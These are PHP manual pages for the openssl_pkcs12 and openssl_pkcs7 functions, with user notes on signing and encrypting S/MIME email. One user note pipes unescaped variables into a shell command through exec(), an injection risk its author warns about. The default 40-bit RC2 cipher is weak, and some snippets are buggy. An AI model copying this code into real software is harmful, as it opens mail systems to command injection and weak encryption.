-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----

else this function might return the following error "openssl_pkcs12_export(): cannot get cert from parameter 1"
Anonymous 29-Nov-2013 09:24
If you want to include CA-Certificates in the PKCS12 it can be accomplished by using the $args parameter.
<?php
$args = array(
               'extracerts' => $CAcert,
               'friendly_name' => 'My signed cert by CA certificate'
              );
openssl_pkcs12_export($signed_csr, $cerificate_out, $private_key_resource, $passphrase, $args);
?>
mryom 30-Mar-2011 08:01
Example:

<?php
$key = openssl_pkey_get_private(Private_Key, Password);

openssl_pkcs12_export(Certificate, $iis, $key, Password);
?>
simoncpu was here 11-May-2010 11:28
If your certificate is not password-protected, just use null or a blank string.  Otherwise, this function won't work.


Parse a PKCS#12 Certificate Store into an array

  • « openssl_pkcs12_export
  • openssl_pkcs7_decrypt »
  • PHP Manual
  • OpenSSL Functions
  • Parse a PKCS#12 Certificate Store into an array

openssl_pkcs12_read

(PHP 5 >= 5.2.2)

openssl_pkcs12_read — Parse a PKCS#12 Certificate Store into an array

Description

bool openssl_pkcs12_read ( string $pkcs12 , array &$certs , string $pass )

openssl_pkcs12_read() parses the PKCS#12 certificate store supplied by pkcs12 into a array named certs.

Parameters

pkcs12

certs

On success, this will hold the Certificate Store Data.

pass

Encryption password for unlocking the PKCS#12 file.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

bromatom at directbox dot com 01-Sep-2008 09:18
To extract the contents of a PKCS12 file you can use file_get_contents as well:

<?
  $certs = array();
  $pkcs12 = file_get_contents( "pkcs12file.pem" );
  // No password
  openssl_pkcs12_read( $pkcs12, $certs, "" );
  print_r( $certs );
?>

Output is:
Array
(
  [cert] => --- BEGIN CERTIFICATE ---
  //snipsnip//
  --- END CERTIFICATE ---
  [pkey] => --- BEGIN RSA PRIVATE KEY ---
  //snipsnip//
  [extracerts] = Array
  (
  )
)


Decrypts an S/MIME encrypted message

  • « openssl_pkcs12_read
  • openssl_pkcs7_encrypt »
  • PHP Manual
  • OpenSSL Functions
  • Decrypts an S/MIME encrypted message

openssl_pkcs7_decrypt

(PHP 4 >= 4.0.6, PHP 5)

openssl_pkcs7_decrypt — Decrypts an S/MIME encrypted message

Description

bool openssl_pkcs7_decrypt ( string $infilename , string $outfilename , mixed $recipcert [, mixed $recipkey ] )

Decrypts the S/MIME encrypted message contained in the file specified by infilename using the certificate and its associated private key specified by recipcert and recipkey.

Parameters

infilename

outfilename

The decrypted message is written to the file specified by outfilename.

recipcert

recipkey

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 openssl_pkcs7_decrypt() example

<?php
// $cert and $key are assumed to contain your personal certificate and private
// key pair, and that you are the recipient of an S/MIME message
$infilename = "encrypted.msg";  // this file holds your encrypted message
$outfilename = "decrypted.msg"; // make sure you can write to this file

if (openssl_pkcs7_decrypt($infilename, $outfilename, $cert, $key)) {
    echo "decrypted!";
} else {
    echo "failed to decrypt!";
}
?>

User Contributed Notes

oliver at anonsphere dot com 29-Apr-2011 06:16
If you want to decrypt a received email, keep in mind that you need the full encrypted message including the mime header.

<?php

// Get the full message
$encrypted = imap_fetchmime($stream, $msg_number, "1", FT_UID);
$encrypted .= imap_fetchbody($stream, $msg_number, "1", FT_UID);

// Write the needed temporary files
$infile = tempnam("", "enc");
file_put_contents($infile, $encrypted);
$outfile = tempnam("", "dec");

// The certification stuff
$public = file_get_contents("/path/to/your/cert.pem");
$private = array(file_get_contents("/path/to/your/cert.pem"), "password");

// Ready? Go!
if(openssl_pkcs7_decrypt($infile, $outfile, $public, $private))
{
    // Decryption successful
    echo file_get_contents($outfile);
}
else
{
    // Decryption failed
    echo "Oh oh! Decryption failed!";
}

// Remove the temp files
@unlink($infile);
@unlink($outfile);

?>


Encrypt an S/MIME message

  • « openssl_pkcs7_decrypt
  • openssl_pkcs7_sign »
  • PHP Manual
  • OpenSSL Functions
  • Encrypt an S/MIME message

openssl_pkcs7_encrypt

(PHP 4 >= 4.0.6, PHP 5)

openssl_pkcs7_encrypt — Encrypt an S/MIME message

Description

bool openssl_pkcs7_encrypt ( string $infile , string $outfile , mixed $recipcerts , array $headers [, int $flags = 0 [, int $cipherid = OPENSSL_CIPHER_RC2_40 ]] )

openssl_pkcs7_encrypt() takes the contents of the file named infile and encrypts them using an RC2 40-bit cipher so that they can only be read by the intended recipients specified by recipcerts.

Parameters

infile

outfile

recipcerts

Either a lone X.509 certificate, or an array of X.509 certificates.

headers

headers is an array of headers that will be prepended to the data after it has been encrypted.

headers can be either an associative array keyed by header name, or an indexed array, where each element contains a single header line.

flags

flags can be used to specify options that affect the encoding process - see PKCS7 constants.

cipherid

One of cipher constants.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 openssl_pkcs7_encrypt() example

<?php
// the message you want to encrypt and send to your secret agent
// in the field, known as nighthawk.  You have his certificate
// in the file nighthawk.pem
$data = <<<EOD
Nighthawk,

Top secret, for your eyes only!

The enemy is closing in! Meet me at the cafe at 8.30am
to collect your forged passport!

HQ
EOD;

// load key
$key = file_get_contents("nighthawk.pem");

// save message to file
$fp = fopen("msg.txt", "w");
fwrite($fp, $data);
fclose($fp);

// encrypt it
if (openssl_pkcs7_encrypt("msg.txt", "enc.txt", $key,
    array("To" => "nighthawk@example.com", // keyed syntax
          "From: HQ <hq@example.com>", // indexed syntax
          "Subject" => "Eyes only"))) {
    // message encrypted - send it!
    exec(ini_get("sendmail_path") . " < enc.txt");
}
?>

User Contributed Notes

Anonymous 13-Mar-2012 11:37
To build on what people have already done, below is a function that takes a from address, an array of e-mails/public keys, a subject, and a message and sends out an encrypted message using the appropriate public key.

Since we're sending an encrypted message, the assumption is that what we're sending is actually critical. As a result the files used for sending the message are immediately shredded.

$recipients = Array("user@example.com"=>file_get_contents("cert.pem"));
$body = 'secret text';
   sendSignedMail("me@examplel.com", $recipients, "Test Message", $body);

  //Recepients is an array of e-mail address=>Key
  function sendSignedMail($from, $recepients, $subject, $body){
    foreach($recepients AS $email=>$key){
      $tfn_in = tempnam("/tmp", "b");
      $tfn_out = tempnam("/tmp", "e");

      $handle = fopen($tfn_in, "w");
      fwrite($handle, $body);
      fclose($handle);

      openssl_pkcs7_encrypt($tfn_in, $tfn_out, $key,
          array("To" => $email,
                "From" => $from,
                "Subject" => $subject), 0);
      $data = file_get_contents($tfn_out);

      //Shred the files since this is sensitive data.
      $handle = popen("/usr/bin/shred -n 3 -u $tfn_in", 'r');
      pclose($handle);
      $handle = popen("/usr/bin/shred -n 3 -u $tfn_out", 'r');
      pclose($handle);

      $parts = explode("\n\n", $data, 2);//Fixes headers in mail function

      mail($email, $subject, $parts[1], $parts[0]);

    }

  }
Ryan Schaffner 02-Feb-2012 05:16
After tinkering around for about an hour, I found this that might help someone.  When you export your certificate, make sure it is a base-64 certificate, as the DER-encoded cannot be read by these functions.  Windows want's to default to DER.  IT MUST BE Base-64 cert for these to work.
1matqo1 at azet dot sk 04-Mar-2010 11:30
For everyone who spent lots of time trying to encrypt multipart/alternative emailwith no success:

1.) put complete email (header together with body) into file to encrypt as in example from koen:
<?php
$body = file_get_contents("body.txt");
$msg = $enc_header.$body;
file_put_contents("msg.txt", $msg);
?>

2.) headers array sent to openssl_pkcs7_encrypt can`t contain some of headers, it conflicts/doubles and some clients have problems with it - i.e. Thunderbird don`t show you email body. For me worked headers: "Subject", "To", "From", "Reply-To", "Date","Return-Receipt","Message-ID","CC", "X-Priority", "X-Mailer"

one more thing - if your public key for encryption is not working, check if you are sending certificate with key, not only pure key(must be certificate)

Good luck to everyone, its a little bit hard because of small amount of documentation which is sometimes confusing...
koen dot thomeer at pubmed dot be 16-Jul-2008 03:15
In the previous example, the decrypted message couldn't be read by the 'popular' mail clients. Those mail clients needed also headers in the encrypted part.

I also noticed that there were some double headers in the previous example ('To:' and 'Subject:' were not overriden by the Headers parameter in mail()). This is also corrected by unsetting 'To:' and 'Subject:' in $headers_msg.

body.txt is the file with the mail body.
publickey.cer is the file with the public certificate.

<?php
// Setup mail headers.
$headers = array("From" => "from@mail.com", "To" => "to@mail.com", "Subject" => "Encrypted mail readable with most clients", "X-Mailer" => "PHP/".phpversion());

// Get the public key certificate.
$pubkey = file_get_contents("publickey.cer");

// Header for encrypted part
$eol = "\r\n";
$enc_header .= "From: ".$headers['From'].$eol;
$enc_header .= "To: ".$headers['To'].$eol;
$enc_header .= "Subject: ".$headers['Subject'].$eol;
$enc_header .= "Content-Type: text/plain; format=flowed; charset=\"iso-8859-1\"; reply-type=original".$eol;
$enc_header .= "Content-Transfer-Encoding: 7bit".$eol;
$enc_header .= "\n";

// Prepend header for encrypted message
$body = file_get_contents("body.txt");
$msg = $enc_header.$body;
file_put_contents("msg.txt", $msg);

// Remove some double headers for mail()
$headers_msg = $headers;
unset($headers_msg['To'], $headers_msg['Subject']);

// Encrypt message
openssl_pkcs7_encrypt("msg.txt", "enc.txt",$pubkey,$headers_msg,0,1);

// Seperate headers and body for mail()
$data = file_get_contents("enc.txt");
$parts = explode("\n\n", $data, 2);

// send mail
mail($headers['To'], $headers['Subject'], $parts[1], $parts[0]);
?>
bob at bobscheffler dot com 05-Aug-2005 02:58
It's not worth it.  Honestly, it would sound like a great idea, but it is such a pain in the arse.  I have done so using asp, but have not yet found a way (or really tried for that matter) to do this using PGP.  Using asp took me a full day to do (had to judo-kung foo chop a little for it to work correctly).  Peace--
ungdi at hotmail dot com 16-Mar-2005 12:19
Amongst the many discussions about signing or encrypting email by itself, none really discuss the pain of having an email BOTH signed AND encrypted.

*** What do you do first? Sign then Encrypt? Or Encrypt then Sign?

According to RFC 2311, you can encrypt then sign or sign then encrypt. However, it depends on the client in which you are programming for. In my experience, in Outlook 2000, it prefers it Encrypt then Sign. While in Outlook 2003, it is Sign then Encrypt. Generally, you want Sign then Encrypt, as it seems most logical from a snail-mail piece point of view. You first sign a letter than put it in an envelope. Certain clients complain if you do it in an order it does not like, so you may want to experiement with it.

*** Example of doing both signing AND encrypting.

When you perform the first function, do NOT put in any headers in the headers array parameters, you want to put it in the SECOND function you want to perform. If you put the headers in the first function, the second function will hide it from the mail servers. You do not want that. Here I will sign then encrypt.

<?
// Setup mail headers.
$headers = array("To" => "someone@nowhere.net",
     "From" => "noone@somewhere.net",
     "Subject" => "A signed and encrypted message.");

// Sign the message first
openssl_pkcs7_sign("msg.txt","signed.txt",
     "signing_cert.pem",array("private_key.pem",
     "password"),array());

// Get the public key certificate.
$pubkey = file_get_contents("cert.pem");

//encrypt the message, now put in the headers.
openssl_pkcs7_encrypt("signed.txt", "enc.txt",
     $pubkey,$headers,0,1);

$data = file_get_contents("enc.txt");

// separate header and body, to use with mail function
//  unfortunate but required, else we have two sets of headers
//  and the email client doesn't decode the attachment
$parts = explode("\n\n", $data, 2);

// send mail (headers in the Headers parameter will override those
//  generated for the To & Subject parameters)
mail($mail, $subject, $parts[1], $parts[0]);
?>

Note that if you use a function that picks up the data from the disk to be used in another function in your program, remember that you may have used the explode("\n\n",$data,2) function which may have removed the spacing between the header and the message content.

When you take the signed message and feed it in to the encryption part, you have to remember that the line spacing must also be fed AS PART OF THE MESSAGE BODY! If you plan to sign then encrypt, do not feed the header output from the signing into the encrypting as part of the headers array parameter! The output of the signing should stay as part of the message body being encrypted. (And the same is true if you are doing the reverse of encrypting then signing.) An example of both the signing and encryption function made in to a routine for reusability, and then called to sign and encrypt a message.

*** Example of signing and encrypting executed from a routine function for code reusability through a program.

THIS IS WRONG!:
<?
// [0] of Array contains headers of message. [1] of Array contains signed body of message.
$signedOutputArray = signMessage($inputMessage,$headers);

// [0] of Array contains headers of message and the signing.
// [1] of Array contains encrypted body of message without the signing header.
$signedAndEncryptedArray = encryptMessage($signedOutputArray[1],
     $signedOutputArray[0]);

mail($emailAddr,$subject,$signedAndEncryptedArray[1],
      $signedAndEncryptedArray[0]);
?>

THIS IS CORRECT!
<?
// [0] of Array contains headers of signing.
// [1] of Array contains signed body of message.
$signedOutputArray = signMessage($inputMessage,array());

// [0] of Array contains headers of message.
// [1] of Array contains encrypted contents of both the signed message and its headers of the signing.
$signedAndEncryptedArray =
     encryptMessage($signedOutputArray[0] . "\n\n" . $signedOutputArray[1],$headers);

mail($emailAddr,$subject,$signedAndEncryptedArray[1],
     $signedAndEncryptedArray[0]);
?>
ungdi AT hotmail DOT com 12-Aug-2004 08:07
As of PHP 5.0.0, you have the ability to choose between 64 bit RC2 encryption OR 128 bit RC2 encryption.

The new function description should now be:
bool openssl_pkcs7_encrypt ( string infile, string outfile, mixed recipcerts, array headers [, int flags] [,int cipher])

Where the int value of cipher is 0 or 1. 0 = 64 bit and 1 = 128 bit.
richardaburton at hotmail dot com 16-Oct-2003 02:38
Using sendmail isn't very portable, and seems daft since PHP has the mail function which will do the job. Problem is how do you use the mail function to send this email, since it's already complete with headers?

If you pull in the contents of the file produced by openssl_pkcs7_encrypt and pass this as the message data to the mail command, you end up with an email with two sets of headers (one set from the encrypt function, another added by the mail command). The result is that the second set of headers (which tell the mail client the email is encrypted) get ignored and the (base64 encoded) encrypted mail is shown as-is, rather than being decrypted.

The solution is quite simple, but it took me a little while to think of it, so I'm sharing it here. Once you load the contents of the file, split the headers off the body. Then pass the headers as the additional_headers parameter to the mail function, and just the body of the email as the message parameter of the mail function.

You will need to specify the to & subject parameters, but these will be overriden in the final email (as delievered to the recipiant) by the ones from the real encrypted email.

<?php

$pubkey = file_get_contents("cert.pem");

openssl_pkcs7_encrypt("msg.txt", "enc.txt", $pubkey,
    array("To" => "nighthawk@example.com",
          "From" => "HQ <hq@example.com>",
          "Subject" => "Eyes only"), 0)

$data = file_get_contents("enc.txt");

// separate header and body, to use with mail function
//  unfortunate but required, else we have two sets of headers
//  and the email client doesn't decode the attachment
$parts = explode("\n\n", $data, 2);

// send mail (headers in the Headers parameter will override those
//  generated for the To & Subject parameters)
mail($mail, $subject, $parts[1], $parts[0]);

?>

Richard.
richardaburton at hotmail dot com 16-Oct-2003 02:31
If you don't like the idea of only using RC2/40bit you can always recompile the php_openssl extension. Simply search through the extensions openssl.c source file for the EVP_rc2_40_cbc() call, which selects this cipher. Replace the call to select another better cipher such as EVP_rc2_cbc() (RC2/128bit) or EVP_des_ede3_cbc() (triple-DES).

I patched the source to allow the selection of cipher as an extra parameter, but got the latest source from CVS to submit a patch and it appears the work has already been done, so looks like we will see this feature in pretty soon.

Richard.
20-May-2003 05:16
It is a bit scary to use only RC2/40bit considering that has been already so exposed as vulnerable to brute-force cracking (see for example www.distributed.net)

Here is an alternate method which allows stronger encryption (128bit.) This works on Solaris 8 but could be adapted for e.g. Linux by removing the "-rand" parameter and its randomfile name.

-------------snippet-------------------

$execstring=  "echo \"" . $yourbodytext . "\" | /usr/local/ssl/bin/openssl smime -encrypt -rc2-128 -rand /usr/local/apache/yoursecuredir/randomfile -text  -to " .  $recipient . " -from someuser@example.com -subject \"" . $subject . "\"  /usr/local/apache/yoursecuredir/usercerts/someuser.pem | /usr/lib/sendmail -t";

exec($execstring,$returndata,$resultcode);

-------------snippet-------------------

It requires the .pem format for the user certificate.  Assuming you already got a certificate from a commercial CA such as www.thawte.com then it is fairly simple to export it from your browser WITHOUT --REPEAT-- WITHOUT its private key and copy it to the PHP/web server. The export process is browser-specific but assuming MS Internet Explorer you require the menu selection tools -> internet options -> content -> certificates -> (highlight your cert in the list) -> export wizard.

The exported file will probably be in DER-encoded binary
with a name like "whatever.CER" and you need to convert it to Privacy Enhanced message (PEM) format. Typically you would now transfer the file to the *nix machine and the command for doing this conversion is, for example:

/usr/local/ssl/bin/openssl x509 -inform DER -outform PEM -in someuser.cer -out someuser.pem

When adapting this code it is of course as always vital to ensure that the values ($recipient etc.) being passed into the system call are acquired in a clean way that avoids trusting user-supplied data.
glyn at tomkins dot net 03-May-2003 10:50
I have been struggling to get openssl_pkcs7_encrypt() to work just as I need it to do but through my perseverence I have prevailed.  The issues I came across were due to my very incomplete understanding of S/MIME, MIME and email headers.

First, both the example in the manual and the correction offered by msisolak above are also slightly incorrect.  Let me explain in lay terms how the problem arises ...

email messages are constructed as follows

headers
blank line
content

For S/MIME, the message is encrypted (including headers) and further headers are wrapped around the encrypted message, like so:

S/MIME headers
blank line
encrypted MIME headers
encrypted blank line
encrypted content

If you have no headers in what you are encrypting then anything before the 1st blank line is regarded as headers and doesn't appear in the content of your message.

openssl_pkcs7_encrypt() creates the entire encrypted portion so if you do not include any headers in your infile then you will find that some of your message may be treated as headers unless you make the first line of your file a blank line.

There is also an error in the way the "From" S/MIME header is coded on the call to openssl_pkcs7_encrypt().

So the example, to work 100% correctly needs to read as follows:

// the message you want to encrypt and send to your secret agent
// in the field, known as nighthawk.  You have his certificate
// in the file nighthawk.pem
//
//Note the first line must be blank as i am providing no headers inside the secure portion of the mail.
$data = <<<EOD

Nighthawk,

Top secret, for your eyes only!

The enemy is closing in! Meet me at the cafe at 8.30am
to collect your forged passport!

HQ
EOD;

// load key
$key = implode("", file("my.pem"));

// save message to file
$fp = fopen("msg.txt", "w");
fwrite($fp, $data);
fclose($fp);

// encrypt it
if (openssl_pkcs7_encrypt("msg.txt", "enc.txt", $key,
  array("To" => "you@yourdomain.com", // keyed syntax
         "From" => "HQ <hq@cia.com>", // indexed syntax
         "Subject" => "Eyes only")))
{
   // message encrypted - send it!
  exec(ini_get("sendmail_path") . " < enc.txt");
}

Now,  I wanted to make a couple of other enhancements. My email contained html content and must be formatted when displayed in the email client and I also wanted to use temporary file names to allow multiple users to use the script at the same time. Finally, I wanted to remove these temporary files afterwards.

Here is how the example ends up with these additional enhancements:

<?

// the message you want to encrypt and send to your secret agent
// in the field, known as nighthawk.  You have his certificate
// in the file my.pem
//
//Note the blank line  following the Content-type header
//
$data = <<<EOD
MIME-Version: 1.0
Content-type: text/html; charset=iso-8859-1

<html>
<b>Nighthawk</b>,
<h1>Top secret, for your eyes only!</h1>
<p>The enemy is closing in! Meet me at the cafe at 8.30am
to collect your forged passport!</p>
<p>HQ</p>
</html>
EOD;

// load key
$key = implode("", file("my.pem"));

// generate a unique temporary file name.  Use .txt for the clear text version and .enc for the encrypted version.
$clearfile = tempnam("temp","email") . ".txt";
$encfile = $clearfile . ".enc";
$clearfile .= ".txt";

$fp = fopen($clearfile, "w");
fwrite($fp, $data);
fclose($fp);

// encrypt it
if (openssl_pkcs7_encrypt($clearfile,$encfile, $key,
  array("To" => "you@yourdomain.com", // keyed syntax
         "From" => "HQ <hq@cia.com>", // indexed syntax
         "Subject" => "Eyes only")))
{
   // message encrypted - send it!
  exec(ini_get("sendmail_path") . " < $encfile");

};
// now erase the temp files
unlink($clearfile);
unlink($encfile);

?>
msisolak at yahoo dot com 28-May-2002 09:14
For those trying to use this function from Windows with a key in Outlook or Outlook Express it can be tricky to figure out how to get the key exported in the format that OpenSSL is looking for.  Since all (at least all Microsoft) products share a common key store, it's easier to export the key from IE than Outlook.

In IE select Tools -> Internet Options, then the "Content" tab, and click the Certificates button.  Select your certificate from the list and click the Export button.  To encrypt email you only want your public key exported in the "Base-64 encoded X.509 (.CER)" format.  The file this procedure creates can be directly used as a key file to S/MIME encrypt with openssl-pkcs7-encrypt.
msisolak at yahoo dot com 26-Apr-2002 12:24
The example code is wrong (at least as of 4.2.0).  The recipcerts parameter is either the actual text of the base64 encoded key file, or it must be a filename in "file://..." format.  A normal path will not work (OpenSSL tries to use the path as the actual certificate).  The above code works as:

<?php
// the message you want to encrypt and send to your secret agent
// in the field, known as nighthawk.  You have his certificate
// in the file nighthawk.pem
$data = <<<EOD
Nighthawk,

Top secret, for your eyes only!

The enemy is closing in! Meet me at the cafe at 8.30am
to collect your forged passport!

HQ
EOD;

// load key
$key = implode("", file("my.pem"));

// save message to file
$fp = fopen("msg.txt", "w");
fwrite($fp, $data);
fclose($fp);

// encrypt it
if (openssl_pkcs7_encrypt("msg.txt", "enc.txt", $key,
    array("To" => "example@example.com", // keyed syntax
          "From: HQ <hq@cia.com>", // indexed syntax
          "Subject" => "Eyes only")))
{
    // message encrypted - send it!
    exec(ini_get("sendmail_path") . " < enc.txt");
}
?>

[You can also pass an array of recipcerts values, but I haven't used that so I don't know what it's expecting.]


Sign an S/MIME message

  • « openssl_pkcs7_encrypt
  • openssl_pkcs7_verify »
  • PHP Manual
  • OpenSSL Functions
  • Sign an S/MIME message

openssl_pkcs7_sign

(PHP 4 >= 4.0.6, PHP 5)

openssl_pkcs7_sign — Sign an S/MIME message

Description

bool openssl_pkcs7_sign ( string $infilename , string $outfilename , mixed $signcert , mixed $privkey , array $headers [, int $flags = PKCS7_DETACHED [, string $extracerts ]] )

openssl_pkcs7_sign() takes the contents of the file named infilename and signs them using the certificate and its matching private key specified by signcert and privkey parameters.

Parameters

infilename

outfilename

signcert

privkey

headers

headers is an array of headers that will be prepended to the data after it has been signed (see openssl_pkcs7_encrypt() for more information about the format of this parameter).

flags

flags can be used to alter the output - see PKCS7 constants.

extracerts

extracerts specifies the name of a file containing a bunch of extra certificates to include in the signature which can for example be used to help the recipient to verify the certificate that you used.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 openssl_pkcs7_sign() example

<?php
// the message you want to sign so that recipient can be sure it was you that
// sent it
$data = <<<EOD

You have my authorization to spend $10,000 on dinner expenses.

The CEO
EOD;
// save message to file
$fp = fopen("msg.txt", "w");
fwrite($fp, $data);
fclose($fp);
// encrypt it
if (openssl_pkcs7_sign("msg.txt", "signed.txt", "mycert.pem",
    array("file://mycert.pem", "mypassphrase"),
    array("To" => "joes@example.com", // keyed syntax
          "From: HQ <ceo@example.com>", // indexed syntax
          "Subject" => "Eyes only")
    )) {
    // message signed - send it!
    exec(ini_get("sendmail_path") . " < signed.txt");
}
?>

User Contributed Notes

Anonymous 09-Feb-2013 01:35
A note about the $flags parameter: PKCS7_BINARY has 2 effects:
* converts LF to CR+LF, as described in http://www.php.net/manual/en/openssl.pkcs7.flags.php
* it creates an opaque pkcs7 signature (p7m)

If you want to prevent the LF->CR+LF conversion *and* still have a detached signature (p7s), use PKCS7_BINARY | PKCS7_DETACHED (both flags are set).

If the signed message is already MIME multi-part, using both flags as described above seems to be the right solution to assemble the message properly. Without any flags, apparently only some of the LF characters are converted. In a specific scenario (the local MTA is Postfix and then the message goes through sendmail on another machine), the MIME boundaries get scrambled in sendmail. However, this doesn't seem to happen if the local MTA is sendmail.
ungdi at hotmail dot com 11-Feb-2010 02:34
Amongst the many discussions about signing or encrypting email by itself, none really discuss the pain of having an email BOTH signed AND encrypted.

According to RFC 2311, you can encrypt then sign or sign then encrypt. However, it depends on the client in which you are programming for. In my experience, in Outlook 2000, it prefers it Encrypt then Sign. While in Outlook 2003, it is Sign then Encrypt. Generally, you want Sign then Encrypt, as it seems most logical from a snail-mail piece point of view. You first sign a letter than put it in an envelope. Certain clients complain if you do it in an order it does not like, so you may want to experiement with it.

When you perform the first function, do NOT put in any headers in the headers array parameters, you want to put it in the SECOND function you want to perform. If you put the headers in the first function, the second function will hide it from the mail servers. You do not want that. Here I will sign then encrypt.

<?php
// Setup mail headers.
$headers = array("To" => "someone@nowhere.net",
     "From" => "noone@somewhere.net",
     "Subject" => "A signed and encrypted message.");

// Sign the message first
openssl_pkcs7_sign("msg.txt","signed.txt",
     "signing_cert.pem",array("private_key.pem",
     "password"),array());

// Get the public key certificate.
$pubkey = file_get_contents("cert.pem");

//encrypt the message, now put in the headers.
openssl_pkcs7_encrypt("signed.txt", "enc.txt",
     $pubkey,$headers,0,1);

$data = file_get_contents("enc.txt");

// separate header and body, to use with mail function
//  unfortunate but required, else we have two sets of headers
//  and the email client doesn't decode the attachment
$parts = explode("\n\n", $data, 2);

// send mail (headers in the Headers parameter will override those
//  generated for the To & Subject parameters)
mail($mail, $subject, $parts[1], $parts[0]);
?>

Note that if you use a function that picks up the data from the disk to be used in another function in your program, remember that you may have used the explode("\n\n",$data,2) function which may have removed the spacing between the header and the message content.

When you take the signed message and feed it in to the encryption part, you have to remember that the line spacing must also be fed AS PART OF THE MESSAGE BODY! If you plan to sign then encrypt, do not feed the header output from the signing into the encrypting as part of the headers array parameter! The output of the signing should stay as part of the message body being encrypted. (And the same is true if you are doing the reverse of encrypting then signing.) An example of both the signing and encryption function made in to a routine for reusability, and then called to sign and encrypt a message.

THIS IS WRONG!:
<?php
// [0] of Array contains headers of message. [1] of Array contains signed body of message.
$signedOutputArray = signMessage($inputMessage,$headers);

// [0] of Array contains headers of message and the signing.
// [1] of Array contains encrypted body of message without the signing header.
$signedAndEncryptedArray = encryptMessage($signedOutputArray[1],
     $signedOutputArray[0]);

mail($emailAddr,$subject,$signedAndEncryptedArray[1],
      $signedAndEncryptedArray[0]);
?>

THIS IS CORRECT!
<?php
// [0] of Array contains headers of signing.
// [1] of Array contains signed body of message.
$signedOutputArray = signMessage($inputMessage,array());

// [0] of Array contains headers of message.
// [1] of Array contains encrypted contents of both the signed message and its headers of the signing.
$signedAndEncryptedArray =
     encryptMessage($signedOutputArray[0] . "\n\n" . $signedOutputArray[1],$headers);

mail($emailAddr,$subject,$signedAndEncryptedArray[1],
     $signedAndEncryptedArray[0]);
?>
yurchenko dot anton at gmail dot com 02-Feb-2009 07:13
I also spent hours when trying to find the reason of error:
"error getting private key".

Sometimes this error appeared, sometimes not.

My solution is using the realpath() for every parameter of openssl_pkcs7_sign. In my case the code looks like:

<?php
$Certif_path = 'certificate/mycertificate.pem';

$clearfile = "certificate/random_name";
$encfile = $clearfile . ".enc";
$clearfile = $clearfile . ".txt";

// ----
// -- fill $clearfile with the mail to be signed ...
// ----

openssl_pkcs7_sign(realpath($clearfile),
                           realpath('.').'/'.$encfile, // because $encfile does not exist yet we cannot use realpath($encfile);
                           'file://'.realpath($Certif_path),

                           array('file://'.realpath($Certif_path), PUBLIC_KEY),

                           array("To" => TO_EMAIL,
                                 "From" => FROM_EMAIL,
                                 "Subject" => ""),

                           PKCS7_DETACHED));

?>
ungdi at hotmail dot com 10-Feb-2007 10:10
I would like to make a modification from my previous note. Some clients prefer a certain order in which messages should be signed and encrypted (if both is desired). Newer email clients, such as Thunderbird and Outlook 2003 will accept the most secure method of "sign -> encrypt -> sign again".

Why?

The first signing authenticates the message saying that you did indeed write it. Then the email is encrypted so that only the recipient can open and read it. Then the second signing ensure confidentiality by identifying that the person encrypting is the one whom encrypted it, a message intended for the decrypting person. This is the most secure method. This ensures: Non-Repudiation of message (first sign), Confidentiality (encrypt), and Context Integrity [you were intended to be addressed] (second sign).

If you only sign then encrypt, there is no way you can guarantee that (aside from the contents of the letter, headers are placed in plain text outside the message) that the message was intended for you by the original sender. For example:

Bob signs a love letter and encrypts it to Amy saying only "I love you. -- Bob". Amy decrypts it, sees the message (and plays a joke) and forwards the message to John using John's public key, re-encrypting, but not tampering with the message contents keeping the signature valid. This allows Amy to make it look like Bob sent John a love letter and that Bob loves John, as you cannot verify whom sent it during encryption. That is not what you want!

This is also analogous to someone taking a government document, put it in an envelope themselves and write the government address in the return address and send it to you. You know the letter is written by the government, but you don't know for sure whether the government sent it to you directly or was opened and relayed.

While encrypting then signing has a problem, this is affectively signing on the envelope of a snail mail piece. I know you sent it, but is the message really from you? Or are you forwarding it?

Sign - Encrypt - Sign Again method will make the first sign show that you know the writer of the message is the person, encrypt it to keep others from reading it, sign again to indicate the message was not relayed and that the sender intended to sent the mail to address you.

Just make sure the headers of the mail is applied in the last step and not the second or third step.

For more information about the security and integrity risks of this situation, please read this web page: http://world.std.com/~dtd/sign_encrypt/sign_encrypt7.html
dmitri at gmx dot net 04-Apr-2006 10:01
Working example:

<?php

$data = <<< EOF
Content-Type: text/plain;
    charset="us-ascii"
Content-Transfer-Encoding: 7bit

You have my authorization to spend 10,000 on dinner expenses.
The CEO
EOF;

$fp = fopen("msg.txt", "w");
fwrite($fp, $data);
fclose($fp);

$headers = array("From" => "me@email.com");

openssl_pkcs7_sign("msg.txt", "signed.txt", "file://email.pem", array("file://email.pem", "123456"), $headers);

$data = file_get_contents("signed.txt");

$parts = explode("\n\n", $data, 2);

mail("you@email.com", "Signed message.", $parts[1], $parts[0]);

echo "Email sent";

?>
maarten at xolphin dot nl 11-Feb-2005 11:24
It is also possible to sign message including attachments. An easy way to do this:

<?php
  $boundary = md5(uniqid(time()));
  $boddy = "MIME-Version: 1.0\n";
  $boddy .= "Content-Type: multipart/mixed; boundary=\"" . $boundary. "\"\n";
  $boddy .= "Content-Transfer-Encoding: quoted-printable\n\n";
  $boddy .= "This is a multi-part message in MIME format.\n\n";
  $boddy .= "--$boundary\n";
  $boddy .= "Content-Type: text/plain; charset=\"iso-8859-1\"\n";
  $boddy .= "Content-Transfer-Encoding: quoted-printable\n\n";
  $boddy .= $EmailText . "\n\n";
  // Add the attachment to the message
  do  {
    $boddy .= "--$boundary\n";
    $boddy .= "Content-Type: application/pdf; name=\"FileName\"\n";
    $boddy .= "Content-Transfer-Encoding: base64\n";
    $boddy .= "Content-Disposition: attachment;\n\n";
    $boddy .= chunk_split(base64_encode($file)) . "\n\n";
  } while ( {files left to be attached} );
  $boddy .= "--$boundary--\n";

  // Save message to a file
  $msg = 'msg.txt';
  $signed = 'signed.txt';
  $fp = fopen($msg, "w");
  fwrite($fp, $boddy);
  fclose($fp);

  // Sign it
  if (openssl_pkcs7_sign($msg, $signed, 'file://cert.pem',
    array('file://key.pem', 'test'),
    array("To" => "joes@example.com", // keyed syntax
         "From: HQ <ceo@example.com>", // indexed syntax
         "Subject" => "Eyes only"), PKCS7_DETACHED, 'intermediate_cert.pem' )) {
    exec(ini_get('sendmail_path') . ' < ' . $signed);
  }
?>

The same can be established by using the PEAR package Mail_Mime in combination with openssl_pkcs7_sign.
Maciej_Niemir at ilim dot poznan dot pl 17-Oct-2003 04:46
